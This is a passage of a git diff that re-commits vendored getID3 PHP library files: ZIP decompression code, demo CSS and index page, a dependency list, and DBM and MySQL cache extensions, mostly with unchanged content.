fopen($filename, 'rb')) { + ob_end_clean(); + $getid3_zip = new getid3_zip($getid3); + $getid3_zip->analyze(); + if (($getid3->info['fileformat'] == 'zip') && !empty($getid3->info['zip']['files'])) { + if (!empty($getid3->info['zip']['central_directory'])) { + $ZipDirectoryToWalk = $getid3->info['zip']['central_directory']; + } elseif (!empty($getid3->info['zip']['entries'])) { + $ZipDirectoryToWalk = $getid3->info['zip']['entries']; + } else { + $errors[] = 'failed to parse ZIP attachment "'.$filename.'" (no central directory)
                              '; + fclose($getid3->fp); + return false; + } + foreach ($ZipDirectoryToWalk as $key => $valuearray) { + fseek($getid3->fp, $valuearray['entry_offset'], SEEK_SET); + $LocalFileHeader = $getid3_zip->ZIPparseLocalFileHeader(); + if ($LocalFileHeader['flags']['encrypted']) { + // password-protected + $DecompressedFileContents[$valuearray['filename']] = ''; + } else { + fseek($getid3->fp, $LocalFileHeader['data_offset'], SEEK_SET); + $compressedFileData = ''; + while ((strlen($compressedFileData) < $LocalFileHeader['compressed_size']) && !feof($getid3->fp)) { + $compressedFileData .= fread($getid3->fp, 32768); + } + switch ($LocalFileHeader['raw']['compression_method']) { + case 0: // store - great, just copy data unchanged + $uncompressedFileData = $compressedFileData; + break; + + case 8: // deflate + ob_start(); + $uncompressedFileData = gzinflate($compressedFileData); + $gzinflate_errors = trim(strip_tags(ob_get_contents())); + ob_end_clean(); + if ($gzinflate_errors) { + $errors[] = 'gzinflate() failed for file ['.$LocalFileHeader['filename'].']: "'.$gzinflate_errors.'"'; + continue 2; + } + break; + + case 1: // shrink + case 2: // reduce-1 + case 3: // reduce-2 + case 4: // reduce-3 + case 5: // reduce-4 + case 6: // implode + case 7: // tokenize + case 9: // deflate64 + case 10: // PKWARE Date Compression Library Imploding + $DecompressedFileContents[$valuearray['filename']] = ''; + $errors[] = 'unsupported ZIP compression method ('.$LocalFileHeader['raw']['compression_method'].' = '.$getid3_zip->ZIPcompressionMethodLookup($LocalFileHeader['raw']['compression_method']).')'; + continue 2; + + default: + $DecompressedFileContents[$valuearray['filename']] = ''; + $errors[] = 'unknown ZIP compression method ('.$LocalFileHeader['raw']['compression_method'].')'; + continue 2; + } + $DecompressedFileContents[$valuearray['filename']] = $uncompressedFileData; + unset($compressedFileData); + } + } + } else { + $errors[] = $filename.' does not appear to be a zip file'; + } + } else { + $error_message = ob_get_contents(); + ob_end_clean(); + $errors[] = 'failed to fopen('.$filename.', rb): '.$error_message; + } + } else { + $errors[] = 'failed to include_once(module.archive.zip.php)'; + } + return $DecompressedFileContents; +} diff --git a/vendor/james-heinrich/getid3/demos/getid3.css b/vendor/james-heinrich/getid3/demos/getid3.css index c674f38609..c59d1a0328 100644 --- a/vendor/james-heinrich/getid3/demos/getid3.css +++ b/vendor/james-heinrich/getid3/demos/getid3.css @@ -1,171 +1,171 @@ -/** -* Common elements -*/ - -body { - font: 12px Verdana, sans-serif; - background-color: white; - color: black; - margin-top: 6px; - margin-bottom: 30px; - margin-left: 12px; - margin-right: 12px; -} - -h1 { - font: bold 18px Verdana, sans-serif; - line-height: 26px; - margin-top: 12px; - margin-bottom: 15px; - margin-left: 0; - margin-right: 7px; - background-color: #e6eaf6; - padding-left: 10px; - padding-top: 2px; - padding-bottom: 4px; -} - -h3 { - font: bold 13px Verdana, sans-serif; - line-height: 26px; - margin-top: 12px; - margin-bottom: 0; - margin-left: 0; - margin-right: 7px; - padding-left: 4px; -} - -ul { - margin-top: 0; -} - -p, li { - font: 9pt/135% sans-serif; - margin-top: 1px; - margin-bottom: 0; -} - -a, a:link, a:visited { - color: #0000cc; -} - -hr { - height: 0; - border: solid gray 0; - border-top-width: thin; - width: 700px; -} - -table.table td { - font: 9pt sans-serif; - padding-top: 1px; - padding-bottom: 1px; - padding-left: 5px; - padding-right: 5px; -} - -table.table td.header { - background-color: #cccccc; - padding-top: 2px; - padding-bottom: 2px; - font-weight: bold; -} - -table.table tr.even_files { - background-color: #fefefe; -} - -table.table tr.odd_files { - background-color: #e9e9e9; -} - -table.dump { - border-top: solid 1px #cccccc; - border-left: solid 1px #cccccc; - margin: 2px; -} - -table.dump td { - font: 9pt sans-serif; - padding-top: 1px; - padding-bottom: 1px; - padding-left: 5px; - padding-right: 5px; - border-right: solid 1px #cccccc; - border-bottom: solid 1px #cccccc; -} - -td.dump_string { - font-weight: bold; - color: #006600; - font-family: Zawgyi-One,sans-serif; -} - -td.dump_integer { - color: #CC0000; - font-weight: bold; -} - -td.dump_double { - color: #FF9900; - font-weight: bold; -} - -td.dump_boolean { - color: #0000FF; - font-weight: bold; -} - -.error { - color: red -} - - -/** -* Tool Tips -*/ - -.tooltip { - font: 9pt sans-serif; - background: #ffffe1; - color: black; - border: black 1px solid; - margin: 2px; - padding: 7px; - position: absolute; - top: 10px; - left: 10px; - z-index: 10000; - visibility: hidden; -} - -.tooltip p { - margin-top: -2px; - margin-bottom: 4px; -} - - -/** -* Forms -*/ - -table.form td { - font: 9pt/135% sans-serif; - padding: 2px; -} - -select, input { - font: 9pt/135% sans-serif; -} - -.select, .field { - width: 260px; -} - -#sel_field { - width: 85px; -} - -.button { - margin-top: 10px; -} +/** +* Common elements +*/ + +body { + font: 12px Verdana, sans-serif; + background-color: white; + color: black; + margin-top: 6px; + margin-bottom: 30px; + margin-left: 12px; + margin-right: 12px; +} + +h1 { + font: bold 18px Verdana, sans-serif; + line-height: 26px; + margin-top: 12px; + margin-bottom: 15px; + margin-left: 0; + margin-right: 7px; + background-color: #e6eaf6; + padding-left: 10px; + padding-top: 2px; + padding-bottom: 4px; +} + +h3 { + font: bold 13px Verdana, sans-serif; + line-height: 26px; + margin-top: 12px; + margin-bottom: 0; + margin-left: 0; + margin-right: 7px; + padding-left: 4px; +} + +ul { + margin-top: 0; +} + +p, li { + font: 9pt/135% sans-serif; + margin-top: 1px; + margin-bottom: 0; +} + +a, a:link, a:visited { + color: #0000cc; +} + +hr { + height: 0; + border: solid gray 0; + border-top-width: thin; + width: 700px; +} + +table.table td { + font: 9pt sans-serif; + padding-top: 1px; + padding-bottom: 1px; + padding-left: 5px; + padding-right: 5px; +} + +table.table td.header { + background-color: #cccccc; + padding-top: 2px; + padding-bottom: 2px; + font-weight: bold; +} + +table.table tr.even_files { + background-color: #fefefe; +} + +table.table tr.odd_files { + background-color: #e9e9e9; +} + +table.dump { + border-top: solid 1px #cccccc; + border-left: solid 1px #cccccc; + margin: 2px; +} + +table.dump td { + font: 9pt sans-serif; + padding-top: 1px; + padding-bottom: 1px; + padding-left: 5px; + padding-right: 5px; + border-right: solid 1px #cccccc; + border-bottom: solid 1px #cccccc; +} + +td.dump_string { + font-weight: bold; + color: #006600; + font-family: Zawgyi-One,sans-serif; +} + +td.dump_integer { + color: #CC0000; + font-weight: bold; +} + +td.dump_double { + color: #FF9900; + font-weight: bold; +} + +td.dump_boolean { + color: #0000FF; + font-weight: bold; +} + +.error { + color: red +} + + +/** +* Tool Tips +*/ + +.tooltip { + font: 9pt sans-serif; + background: #ffffe1; + color: black; + border: black 1px solid; + margin: 2px; + padding: 7px; + position: absolute; + top: 10px; + left: 10px; + z-index: 10000; + visibility: hidden; +} + +.tooltip p { + margin-top: -2px; + margin-bottom: 4px; +} + + +/** +* Forms +*/ + +table.form td { + font: 9pt/135% sans-serif; + padding: 2px; +} + +select, input { + font: 9pt/135% sans-serif; +} + +.select, .field { + width: 260px; +} + +#sel_field { + width: 85px; +} + +.button { + margin-top: 10px; +} diff --git a/vendor/james-heinrich/getid3/demos/index.php b/vendor/james-heinrich/getid3/demos/index.php index a5f64180bc..23bab141f3 100644 --- a/vendor/james-heinrich/getid3/demos/index.php +++ b/vendor/james-heinrich/getid3/demos/index.php @@ -1,23 +1,23 @@ - -getID3 demos - - - -In this directory are a number of examples of how to use getID3().
                              -If you don't know what to run, take a look at demo.browse.php -
                              -Other demos: - - + +getID3 demos + + + +In this directory are a number of examples of how to use getID3().
                              +If you don't know what to run, take a look at demo.browse.php +
                              +Other demos: + + diff --git a/vendor/james-heinrich/getid3/dependencies.txt b/vendor/james-heinrich/getid3/dependencies.txt index cf03470495..73354de4d0 100644 --- a/vendor/james-heinrich/getid3/dependencies.txt +++ b/vendor/james-heinrich/getid3/dependencies.txt @@ -1,25 +1,25 @@ -///////////////////////////////////////////////////////////////// -/// getID3() by James Heinrich // -// available at http://getid3.sourceforge.net // -// or https://www.getid3.org // -// also https://github.com/JamesHeinrich/getID3 // -///////////////////////////////////////////////////////////////// -// // -// dependencies.txt - part of getID3() // -// See readme.txt for more details // -// /// -///////////////////////////////////////////////////////////////// - -lyrics3 depends on apetag (optional) -ogg depends on flac -id3v2 depends on id3v1 -apetag depends on id3v1 (optional, writing only) -bonk depends on id3v2 (optional) -riff depends on mp3 -mpeg depends on mp3 -quicktime depends on mp3 -flac depends on ogg -optimfrog depends on riff -la depends on riff -lpac depends on riff -asf depends on riff, id3v1 (optional) +///////////////////////////////////////////////////////////////// +/// getID3() by James Heinrich // +// available at http://getid3.sourceforge.net // +// or https://www.getid3.org // +// also https://github.com/JamesHeinrich/getID3 // +///////////////////////////////////////////////////////////////// +// // +// dependencies.txt - part of getID3() // +// See readme.txt for more details // +// /// +///////////////////////////////////////////////////////////////// + +lyrics3 depends on apetag (optional) +ogg depends on flac +id3v2 depends on id3v1 +apetag depends on id3v1 (optional, writing only) +bonk depends on id3v2 (optional) +riff depends on mp3 +mpeg depends on mp3 +quicktime depends on mp3 +flac depends on ogg +optimfrog depends on riff +la depends on riff +lpac depends on riff +asf depends on riff, id3v1 (optional) diff --git a/vendor/james-heinrich/getid3/getid3/extension.cache.dbm.php b/vendor/james-heinrich/getid3/getid3/extension.cache.dbm.php index cbbeb9b8fc..bf94ef1874 100644 --- a/vendor/james-heinrich/getid3/getid3/extension.cache.dbm.php +++ b/vendor/james-heinrich/getid3/getid3/extension.cache.dbm.php @@ -1,253 +1,253 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// // -// extension.cache.dbm.php - part of getID3() // -// Please see readme.txt for more information // -// /// -///////////////////////////////////////////////////////////////// -// // -// This extension written by Allan Hansen // -// /// -///////////////////////////////////////////////////////////////// - - -/** -* This is a caching extension for getID3(). It works the exact same -* way as the getID3 class, but return cached information very fast -* -* Example: -* -* Normal getID3 usage (example): -* -* require_once 'getid3/getid3.php'; -* $getID3 = new getID3; -* $getID3->encoding = 'UTF-8'; -* $info1 = $getID3->analyze('file1.flac'); -* $info2 = $getID3->analyze('file2.wv'); -* -* getID3_cached usage: -* -* require_once 'getid3/getid3.php'; -* require_once 'getid3/getid3/extension.cache.dbm.php'; -* $getID3 = new getID3_cached('db3', '/tmp/getid3_cache.dbm', -* '/tmp/getid3_cache.lock'); -* $getID3->encoding = 'UTF-8'; -* $info1 = $getID3->analyze('file1.flac'); -* $info2 = $getID3->analyze('file2.wv'); -* -* -* Supported Cache Types -* -* SQL Databases: (use extension.cache.mysql) -* -* cache_type cache_options -* ------------------------------------------------------------------- -* mysql host, database, username, password -* -* -* DBM-Style Databases: (this extension) -* -* cache_type cache_options -* ------------------------------------------------------------------- -* gdbm dbm_filename, lock_filename -* ndbm dbm_filename, lock_filename -* db2 dbm_filename, lock_filename -* db3 dbm_filename, lock_filename -* db4 dbm_filename, lock_filename (PHP5 required) -* -* PHP must have write access to both dbm_filename and lock_filename. -* -* -* Recommended Cache Types -* -* Infrequent updates, many reads any DBM -* Frequent updates mysql -*/ - - -class getID3_cached_dbm extends getID3 -{ - /** - * @var resource - */ - private $dba; - - /** - * @var resource|bool - */ - private $lock; - - /** - * @var string - */ - private $cache_type; - - /** - * @var string - */ - private $dbm_filename; - - /** - * constructor - see top of this file for cache type and cache_options - * - * @param string $cache_type - * @param string $dbm_filename - * @param string $lock_filename - * - * @throws Exception - * @throws getid3_exception - */ - public function __construct($cache_type, $dbm_filename, $lock_filename) { - - // Check for dba extension - if (!extension_loaded('dba')) { - throw new Exception('PHP is not compiled with dba support, required to use DBM style cache.'); - } - - // Check for specific dba driver - if (!function_exists('dba_handlers') || !in_array($cache_type, dba_handlers())) { - throw new Exception('PHP is not compiled --with '.$cache_type.' support, required to use DBM style cache.'); - } - - // Create lock file if needed - if (!file_exists($lock_filename)) { - if (!touch($lock_filename)) { - throw new Exception('failed to create lock file: '.$lock_filename); - } - } - - // Open lock file for writing - if (!is_writeable($lock_filename)) { - throw new Exception('lock file: '.$lock_filename.' is not writable'); - } - $this->lock = fopen($lock_filename, 'w'); - - // Acquire exclusive write lock to lock file - flock($this->lock, LOCK_EX); - - // Create dbm-file if needed - if (!file_exists($dbm_filename)) { - if (!touch($dbm_filename)) { - throw new Exception('failed to create dbm file: '.$dbm_filename); - } - } - - // Try to open dbm file for writing - $this->dba = dba_open($dbm_filename, 'w', $cache_type); - if (!$this->dba) { - - // Failed - create new dbm file - $this->dba = dba_open($dbm_filename, 'n', $cache_type); - - if (!$this->dba) { - throw new Exception('failed to create dbm file: '.$dbm_filename); - } - - // Insert getID3 version number - dba_insert(getID3::VERSION, getID3::VERSION, $this->dba); - } - - // Init misc values - $this->cache_type = $cache_type; - $this->dbm_filename = $dbm_filename; - - // Register destructor - register_shutdown_function(array($this, '__destruct')); - - // Check version number and clear cache if changed - if (dba_fetch(getID3::VERSION, $this->dba) != getID3::VERSION) { - $this->clear_cache(); - } - - parent::__construct(); - } - - - - /** - * destructor - */ - public function __destruct() { - - // Close dbm file - dba_close($this->dba); - - // Release exclusive lock - flock($this->lock, LOCK_UN); - - // Close lock file - fclose($this->lock); - } - - - - /** - * clear cache - * - * @throws Exception - */ - public function clear_cache() { - - // Close dbm file - dba_close($this->dba); - - // Create new dbm file - $this->dba = dba_open($this->dbm_filename, 'n', $this->cache_type); - - if (!$this->dba) { - throw new Exception('failed to clear cache/recreate dbm file: '.$this->dbm_filename); - } - - // Insert getID3 version number - dba_insert(getID3::VERSION, getID3::VERSION, $this->dba); - - // Re-register shutdown function - register_shutdown_function(array($this, '__destruct')); - } - - - - /** - * clear cache - * - * @param string $filename - * @param int $filesize - * @param string $original_filename - * @param resource $fp - * - * @return mixed - */ - public function analyze($filename, $filesize=null, $original_filename='', $fp=null) { - - $key = null; - if (file_exists($filename)) { - - // Calc key filename::mod_time::size - should be unique - $key = $filename.'::'.filemtime($filename).'::'.filesize($filename); - - // Loopup key - $result = dba_fetch($key, $this->dba); - - // Hit - if ($result !== false) { - return unserialize($result); - } - } - - // Miss - $result = parent::analyze($filename, $filesize, $original_filename, $fp); - - // Save result - if (isset($key) && file_exists($filename)) { - dba_insert($key, serialize($result), $this->dba); - } - - return $result; - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// // +// extension.cache.dbm.php - part of getID3() // +// Please see readme.txt for more information // +// /// +///////////////////////////////////////////////////////////////// +// // +// This extension written by Allan Hansen // +// /// +///////////////////////////////////////////////////////////////// + + +/** +* This is a caching extension for getID3(). It works the exact same +* way as the getID3 class, but return cached information very fast +* +* Example: +* +* Normal getID3 usage (example): +* +* require_once 'getid3/getid3.php'; +* $getID3 = new getID3; +* $getID3->encoding = 'UTF-8'; +* $info1 = $getID3->analyze('file1.flac'); +* $info2 = $getID3->analyze('file2.wv'); +* +* getID3_cached usage: +* +* require_once 'getid3/getid3.php'; +* require_once 'getid3/getid3/extension.cache.dbm.php'; +* $getID3 = new getID3_cached('db3', '/tmp/getid3_cache.dbm', +* '/tmp/getid3_cache.lock'); +* $getID3->encoding = 'UTF-8'; +* $info1 = $getID3->analyze('file1.flac'); +* $info2 = $getID3->analyze('file2.wv'); +* +* +* Supported Cache Types +* +* SQL Databases: (use extension.cache.mysql) +* +* cache_type cache_options +* ------------------------------------------------------------------- +* mysql host, database, username, password +* +* +* DBM-Style Databases: (this extension) +* +* cache_type cache_options +* ------------------------------------------------------------------- +* gdbm dbm_filename, lock_filename +* ndbm dbm_filename, lock_filename +* db2 dbm_filename, lock_filename +* db3 dbm_filename, lock_filename +* db4 dbm_filename, lock_filename (PHP5 required) +* +* PHP must have write access to both dbm_filename and lock_filename. +* +* +* Recommended Cache Types +* +* Infrequent updates, many reads any DBM +* Frequent updates mysql +*/ + + +class getID3_cached_dbm extends getID3 +{ + /** + * @var resource + */ + private $dba; + + /** + * @var resource|bool + */ + private $lock; + + /** + * @var string + */ + private $cache_type; + + /** + * @var string + */ + private $dbm_filename; + + /** + * constructor - see top of this file for cache type and cache_options + * + * @param string $cache_type + * @param string $dbm_filename + * @param string $lock_filename + * + * @throws Exception + * @throws getid3_exception + */ + public function __construct($cache_type, $dbm_filename, $lock_filename) { + + // Check for dba extension + if (!extension_loaded('dba')) { + throw new Exception('PHP is not compiled with dba support, required to use DBM style cache.'); + } + + // Check for specific dba driver + if (!function_exists('dba_handlers') || !in_array($cache_type, dba_handlers())) { + throw new Exception('PHP is not compiled --with '.$cache_type.' support, required to use DBM style cache.'); + } + + // Create lock file if needed + if (!file_exists($lock_filename)) { + if (!touch($lock_filename)) { + throw new Exception('failed to create lock file: '.$lock_filename); + } + } + + // Open lock file for writing + if (!is_writeable($lock_filename)) { + throw new Exception('lock file: '.$lock_filename.' is not writable'); + } + $this->lock = fopen($lock_filename, 'w'); + + // Acquire exclusive write lock to lock file + flock($this->lock, LOCK_EX); + + // Create dbm-file if needed + if (!file_exists($dbm_filename)) { + if (!touch($dbm_filename)) { + throw new Exception('failed to create dbm file: '.$dbm_filename); + } + } + + // Try to open dbm file for writing + $this->dba = dba_open($dbm_filename, 'w', $cache_type); + if (!$this->dba) { + + // Failed - create new dbm file + $this->dba = dba_open($dbm_filename, 'n', $cache_type); + + if (!$this->dba) { + throw new Exception('failed to create dbm file: '.$dbm_filename); + } + + // Insert getID3 version number + dba_insert(getID3::VERSION, getID3::VERSION, $this->dba); + } + + // Init misc values + $this->cache_type = $cache_type; + $this->dbm_filename = $dbm_filename; + + // Register destructor + register_shutdown_function(array($this, '__destruct')); + + // Check version number and clear cache if changed + if (dba_fetch(getID3::VERSION, $this->dba) != getID3::VERSION) { + $this->clear_cache(); + } + + parent::__construct(); + } + + + + /** + * destructor + */ + public function __destruct() { + + // Close dbm file + dba_close($this->dba); + + // Release exclusive lock + flock($this->lock, LOCK_UN); + + // Close lock file + fclose($this->lock); + } + + + + /** + * clear cache + * + * @throws Exception + */ + public function clear_cache() { + + // Close dbm file + dba_close($this->dba); + + // Create new dbm file + $this->dba = dba_open($this->dbm_filename, 'n', $this->cache_type); + + if (!$this->dba) { + throw new Exception('failed to clear cache/recreate dbm file: '.$this->dbm_filename); + } + + // Insert getID3 version number + dba_insert(getID3::VERSION, getID3::VERSION, $this->dba); + + // Re-register shutdown function + register_shutdown_function(array($this, '__destruct')); + } + + + + /** + * clear cache + * + * @param string $filename + * @param int $filesize + * @param string $original_filename + * @param resource $fp + * + * @return mixed + */ + public function analyze($filename, $filesize=null, $original_filename='', $fp=null) { + + $key = null; + if (file_exists($filename)) { + + // Calc key filename::mod_time::size - should be unique + $key = $filename.'::'.filemtime($filename).'::'.filesize($filename); + + // Loopup key + $result = dba_fetch($key, $this->dba); + + // Hit + if ($result !== false) { + return unserialize($result); + } + } + + // Miss + $result = parent::analyze($filename, $filesize, $original_filename, $fp); + + // Save result + if (isset($key) && file_exists($filename)) { + dba_insert($key, serialize($result), $this->dba); + } + + return $result; + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/extension.cache.mysql.php b/vendor/james-heinrich/getid3/getid3/extension.cache.mysql.php index f2a8ef6754..6444bcd103 100644 --- a/vendor/james-heinrich/getid3/getid3/extension.cache.mysql.php +++ b/vendor/james-heinrich/getid3/getid3/extension.cache.mysql.php @@ -1,227 +1,227 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// // -// extension.cache.mysql.php - part of getID3() // -// Please see readme.txt for more information // -// /// -///////////////////////////////////////////////////////////////// -// // -// This extension written by Allan Hansen // -// Table name mod by Carlo Capocasa // -// /// -///////////////////////////////////////////////////////////////// - - -/** -* This is a caching extension for getID3(). It works the exact same -* way as the getID3 class, but return cached information very fast -* -* Example: (see also demo.cache.mysql.php in /demo/) -* -* Normal getID3 usage (example): -* -* require_once 'getid3/getid3.php'; -* $getID3 = new getID3; -* $getID3->encoding = 'UTF-8'; -* $info1 = $getID3->analyze('file1.flac'); -* $info2 = $getID3->analyze('file2.wv'); -* -* getID3_cached usage: -* -* require_once 'getid3/getid3.php'; -* require_once 'getid3/getid3/extension.cache.mysql.php'; -* // 5th parameter (tablename) is optional, default is 'getid3_cache' -* $getID3 = new getID3_cached_mysql('localhost', 'database', 'username', 'password', 'tablename'); -* $getID3->encoding = 'UTF-8'; -* $info1 = $getID3->analyze('file1.flac'); -* $info2 = $getID3->analyze('file2.wv'); -* -* -* Supported Cache Types (this extension) -* -* SQL Databases: -* -* cache_type cache_options -* ------------------------------------------------------------------- -* mysql host, database, username, password -* -* -* DBM-Style Databases: (use extension.cache.dbm) -* -* cache_type cache_options -* ------------------------------------------------------------------- -* gdbm dbm_filename, lock_filename -* ndbm dbm_filename, lock_filename -* db2 dbm_filename, lock_filename -* db3 dbm_filename, lock_filename -* db4 dbm_filename, lock_filename (PHP5 required) -* -* PHP must have write access to both dbm_filename and lock_filename. -* -* -* Recommended Cache Types -* -* Infrequent updates, many reads any DBM -* Frequent updates mysql -*/ - - -class getID3_cached_mysql extends getID3 -{ - /** - * @var resource - */ - private $cursor; - - /** - * @var resource - */ - private $connection; - - /** - * @var string - */ - private $table; - - - /** - * constructor - see top of this file for cache type and cache_options - * - * @param string $host - * @param string $database - * @param string $username - * @param string $password - * @param string $table - * - * @throws Exception - * @throws getid3_exception - */ - public function __construct($host, $database, $username, $password, $table='getid3_cache') { - - // Check for mysql support - if (!function_exists('mysql_pconnect')) { - throw new Exception('PHP not compiled with mysql support.'); - } - - // Connect to database - $this->connection = mysql_pconnect($host, $username, $password); - if (!$this->connection) { - throw new Exception('mysql_pconnect() failed - check permissions and spelling.'); - } - - // Select database - if (!mysql_select_db($database, $this->connection)) { - throw new Exception('Cannot use database '.$database); - } - - // Set table - $this->table = $table; - - // Create cache table if not exists - $this->create_table(); - - // Check version number and clear cache if changed - $version = ''; - $SQLquery = 'SELECT `value`'; - $SQLquery .= ' FROM `'.mysql_real_escape_string($this->table).'`'; - $SQLquery .= ' WHERE (`filename` = \''.mysql_real_escape_string(getID3::VERSION).'\')'; - $SQLquery .= ' AND (`filesize` = -1)'; - $SQLquery .= ' AND (`filetime` = -1)'; - $SQLquery .= ' AND (`analyzetime` = -1)'; - if ($this->cursor = mysql_query($SQLquery, $this->connection)) { - list($version) = mysql_fetch_array($this->cursor); - } - if ($version != getID3::VERSION) { - $this->clear_cache(); - } - - parent::__construct(); - } - - - - /** - * clear cache - */ - public function clear_cache() { - - $this->cursor = mysql_query('DELETE FROM `'.mysql_real_escape_string($this->table).'`', $this->connection); - $this->cursor = mysql_query('INSERT INTO `'.mysql_real_escape_string($this->table).'` VALUES (\''.getID3::VERSION.'\', -1, -1, -1, \''.getID3::VERSION.'\')', $this->connection); - } - - - - /** - * analyze file - * - * @param string $filename - * @param int $filesize - * @param string $original_filename - * @param resource $fp - * - * @return mixed - */ - public function analyze($filename, $filesize=null, $original_filename='', $fp=null) { - - $filetime = 0; - if (file_exists($filename)) { - - // Short-hands - $filetime = filemtime($filename); - $filesize = filesize($filename); - - // Lookup file - $SQLquery = 'SELECT `value`'; - $SQLquery .= ' FROM `'.mysql_real_escape_string($this->table).'`'; - $SQLquery .= ' WHERE (`filename` = \''.mysql_real_escape_string($filename).'\')'; - $SQLquery .= ' AND (`filesize` = \''.mysql_real_escape_string($filesize).'\')'; - $SQLquery .= ' AND (`filetime` = \''.mysql_real_escape_string($filetime).'\')'; - $this->cursor = mysql_query($SQLquery, $this->connection); - if (mysql_num_rows($this->cursor) > 0) { - // Hit - list($result) = mysql_fetch_array($this->cursor); - return unserialize(base64_decode($result)); - } - } - - // Miss - $analysis = parent::analyze($filename, $filesize, $original_filename, $fp); - - // Save result - if (file_exists($filename)) { - $SQLquery = 'INSERT INTO `'.mysql_real_escape_string($this->table).'` (`filename`, `filesize`, `filetime`, `analyzetime`, `value`) VALUES ('; - $SQLquery .= '\''.mysql_real_escape_string($filename).'\''; - $SQLquery .= ', \''.mysql_real_escape_string($filesize).'\''; - $SQLquery .= ', \''.mysql_real_escape_string($filetime).'\''; - $SQLquery .= ', \''.mysql_real_escape_string(time() ).'\''; - $SQLquery .= ', \''.mysql_real_escape_string(base64_encode(serialize($analysis))).'\')'; - $this->cursor = mysql_query($SQLquery, $this->connection); - } - return $analysis; - } - - - - /** - * (re)create sql table - * - * @param bool $drop - */ - private function create_table($drop=false) { - - $SQLquery = 'CREATE TABLE IF NOT EXISTS `'.mysql_real_escape_string($this->table).'` ('; - $SQLquery .= '`filename` VARCHAR(990) NOT NULL DEFAULT \'\''; - $SQLquery .= ', `filesize` INT(11) NOT NULL DEFAULT \'0\''; - $SQLquery .= ', `filetime` INT(11) NOT NULL DEFAULT \'0\''; - $SQLquery .= ', `analyzetime` INT(11) NOT NULL DEFAULT \'0\''; - $SQLquery .= ', `value` LONGTEXT NOT NULL'; - $SQLquery .= ', PRIMARY KEY (`filename`, `filesize`, `filetime`))'; - $this->cursor = mysql_query($SQLquery, $this->connection); - echo mysql_error($this->connection); - } -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// // +// extension.cache.mysql.php - part of getID3() // +// Please see readme.txt for more information // +// /// +///////////////////////////////////////////////////////////////// +// // +// This extension written by Allan Hansen // +// Table name mod by Carlo Capocasa // +// /// +///////////////////////////////////////////////////////////////// + + +/** +* This is a caching extension for getID3(). It works the exact same +* way as the getID3 class, but return cached information very fast +* +* Example: (see also demo.cache.mysql.php in /demo/) +* +* Normal getID3 usage (example): +* +* require_once 'getid3/getid3.php'; +* $getID3 = new getID3; +* $getID3->encoding = 'UTF-8'; +* $info1 = $getID3->analyze('file1.flac'); +* $info2 = $getID3->analyze('file2.wv'); +* +* getID3_cached usage: +* +* require_once 'getid3/getid3.php'; +* require_once 'getid3/getid3/extension.cache.mysql.php'; +* // 5th parameter (tablename) is optional, default is 'getid3_cache' +* $getID3 = new getID3_cached_mysql('localhost', 'database', 'username', 'password', 'tablename'); +* $getID3->encoding = 'UTF-8'; +* $info1 = $getID3->analyze('file1.flac'); +* $info2 = $getID3->analyze('file2.wv'); +* +* +* Supported Cache Types (this extension) +* +* SQL Databases: +* +* cache_type cache_options +* ------------------------------------------------------------------- +* mysql host, database, username, password +* +* +* DBM-Style Databases: (use extension.cache.dbm) +* +* cache_type cache_options +* ------------------------------------------------------------------- +* gdbm dbm_filename, lock_filename +* ndbm dbm_filename, lock_filename +* db2 dbm_filename, lock_filename +* db3 dbm_filename, lock_filename +* db4 dbm_filename, lock_filename (PHP5 required) +* +* PHP must have write access to both dbm_filename and lock_filename. +* +* +* Recommended Cache Types +* +* Infrequent updates, many reads any DBM +* Frequent updates mysql +*/ + + +class getID3_cached_mysql extends getID3 +{ + /** + * @var resource + */ + private $cursor; + + /** + * @var resource + */ + private $connection; + + /** + * @var string + */ + private $table; + + + /** + * constructor - see top of this file for cache type and cache_options + * + * @param string $host + * @param string $database + * @param string $username + * @param string $password + * @param string $table + * + * @throws Exception + * @throws getid3_exception + */ + public function __construct($host, $database, $username, $password, $table='getid3_cache') { + + // Check for mysql support + if (!function_exists('mysql_pconnect')) { + throw new Exception('PHP not compiled with mysql support.'); + } + + // Connect to database + $this->connection = mysql_pconnect($host, $username, $password); + if (!$this->connection) { + throw new Exception('mysql_pconnect() failed - check permissions and spelling.'); + } + + // Select database + if (!mysql_select_db($database, $this->connection)) { + throw new Exception('Cannot use database '.$database); + } + + // Set table + $this->table = $table; + + // Create cache table if not exists + $this->create_table(); + + // Check version number and clear cache if changed + $version = ''; + $SQLquery = 'SELECT `value`'; + $SQLquery .= ' FROM `'.mysql_real_escape_string($this->table).'`'; + $SQLquery .= ' WHERE (`filename` = \''.mysql_real_escape_string(getID3::VERSION).'\')'; + $SQLquery .= ' AND (`filesize` = -1)'; + $SQLquery .= ' AND (`filetime` = -1)'; + $SQLquery .= ' AND (`analyzetime` = -1)'; + if ($this->cursor = mysql_query($SQLquery, $this->connection)) { + list($version) = mysql_fetch_array($this->cursor); + } + if ($version != getID3::VERSION) { + $this->clear_cache(); + } + + parent::__construct(); + } + + + + /** + * clear cache + */ + public function clear_cache() { + + $this->cursor = mysql_query('DELETE FROM `'.mysql_real_escape_string($this->table).'`', $this->connection); + $this->cursor = mysql_query('INSERT INTO `'.mysql_real_escape_string($this->table).'` VALUES (\''.getID3::VERSION.'\', -1, -1, -1, \''.getID3::VERSION.'\')', $this->connection); + } + + + + /** + * analyze file + * + * @param string $filename + * @param int $filesize + * @param string $original_filename + * @param resource $fp + * + * @return mixed + */ + public function analyze($filename, $filesize=null, $original_filename='', $fp=null) { + + $filetime = 0; + if (file_exists($filename)) { + + // Short-hands + $filetime = filemtime($filename); + $filesize = filesize($filename); + + // Lookup file + $SQLquery = 'SELECT `value`'; + $SQLquery .= ' FROM `'.mysql_real_escape_string($this->table).'`'; + $SQLquery .= ' WHERE (`filename` = \''.mysql_real_escape_string($filename).'\')'; + $SQLquery .= ' AND (`filesize` = \''.mysql_real_escape_string($filesize).'\')'; + $SQLquery .= ' AND (`filetime` = \''.mysql_real_escape_string($filetime).'\')'; + $this->cursor = mysql_query($SQLquery, $this->connection); + if (mysql_num_rows($this->cursor) > 0) { + // Hit + list($result) = mysql_fetch_array($this->cursor); + return unserialize(base64_decode($result)); + } + } + + // Miss + 